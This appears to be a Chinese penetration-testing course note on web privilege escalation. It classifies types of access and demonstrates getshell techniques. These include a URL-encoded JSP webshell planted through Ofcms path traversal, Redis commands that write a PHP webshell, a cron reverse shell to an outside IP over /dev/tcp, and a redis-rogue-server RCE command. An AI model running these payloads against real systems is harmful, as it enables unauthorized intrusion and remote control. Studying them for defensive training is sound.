第97天：权限提升-Web权限&权限划分&源码后台&中间件&第三方&数据库等

知识点梳理

#知识点：
1、前面-中期-后期对应知识关系
2、明确当前权限常见的获取方式
3、明确当前权限对应可操作事情
4、后台权限提升网站权限常规操作

#章节点：
1、Web权限提升
2、系统权限提升
3、域控权限提升

#详细点：
1、具体有哪些权限需要我们了解掌握的？
后台权限，网站权限，数据库权限，接口权限，系统权限，域控权限等

2、以上常见权限获取方法简要归类说明？
后台权限：SQL注入,数据库备份泄露，默认或弱口令等获取帐号密码进入
网站权限：后台提升至网站权限，RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限：SQL注入,数据库备份泄露，默认或弱口令等进入或网站权限获取后转入
接口权限：SQL注入,数据库备份泄露，源码泄漏，培植不当等或网站权限获取后转入
系统权限：高危系统漏洞直达或网站权限提升转入、数据库权限提升转入，第三方转入等
域控权限：高危系统漏洞直达或内网横向渗透转入，域控其他服务安全转入等

3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作，后台功能可操作类
网站权限：
查看或修改程序源代码，可以进行网站或应用的配置文件读取（接口配置信息，数据库配置信息等），还能收集服务器操作系统相关的信息，为后续系统提权做准备。
数据库权限：
操作数据库的权限，数据库的增删改等，源码或配置文件泄漏，也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限：
后台或网站权限后的获取途径：后台（修改配置信息功能点），网站权限（查看的配置文件获取），具体可以操作的事情大家自己想想。
系统权限：如同在你自己操作自己的电脑一样
域控权限：如同在你自己操作自己的虚拟机一样

演示案例

中间件语言类-权限-ASP&NET&PHP&JSP

第三方应用类-Phpmyadmin后台Getshell操作 

网站CMS源码类-Ofcms系统后台Getshell操作

Web容器中间件类-Tomcat平台后台Getshell操作

数据库服务类-Redis未授权管理终端Getshell操作

#中间件语言类-权限-ASP&NET&PHP&JSP
1、中间件语言：
JSP：Tomcat
ASP&NET：IIS
PHP：LAMP&软件
2、权限划分
Linux：
管理员UID为0：系统的管理员用户。
系统用户UID为1～999：Linux系统为了避免因某个服务程序出现漏洞而被黑客提权至整台服务器，默认服务程序会由独立的系统用户负责运行，进而有效控制被破坏范围。
普通用户UID从1000开始：是由管理员创建的用于日常工作的用户。
Windows：
用户及组：system administrator user guest等

#第三方应用类-Phpmyadmin后台Getshell操作
https://www.cnblogs.com/fzblog/p/13912387.html
低版本：直接导出后门 高版本：secure防护利用日志记录保存后门

#网站CMS源码类-Ofcms系统后台Getshell操作
利用后台已有功能点进行获取：SQL执行，文件上传，模版修改，外部引用等
1.明确功能点实现的意义是否满足网站权限的提升
2.不同的程序可以通过程序名版本进行网上公开资料利用
file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

#Web容器中间件类-Tomcat平台后台Getshell操作
上传WAR包自动解析部署-JSP压缩ZIP后修改WAR后缀

#数据库服务类-Redis未授权管理终端Getshell操作
启动环境：/opt/redis-2.8.17# redis-server /etc/redis.conf
1.Webshell写入：
config set dir /home/wwwroot/default  #设置WEB写入目录
config set dbfilename test.php #设置写入文件名
set test "<?php phpinfo();?>"  #设置写入文件代码
bgsave                         #保存执行
save                           #保存执行
2.计划任务反弹shell
config set dir /var/spool/cron/crontabs #设置写入计划任务目录
config set dbfilename root #设置写入文件名
set xx "\n\n\n* * * * * bash -i >& /dev/tcp/47.75.212.155/3333 0>&1\n\n\n"  #设置写入文件代码
save         #保存执行
3.Redis RCE反弹shell
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost=47.94.236.117 --lhost=47.75.212.155 --exp=exp.so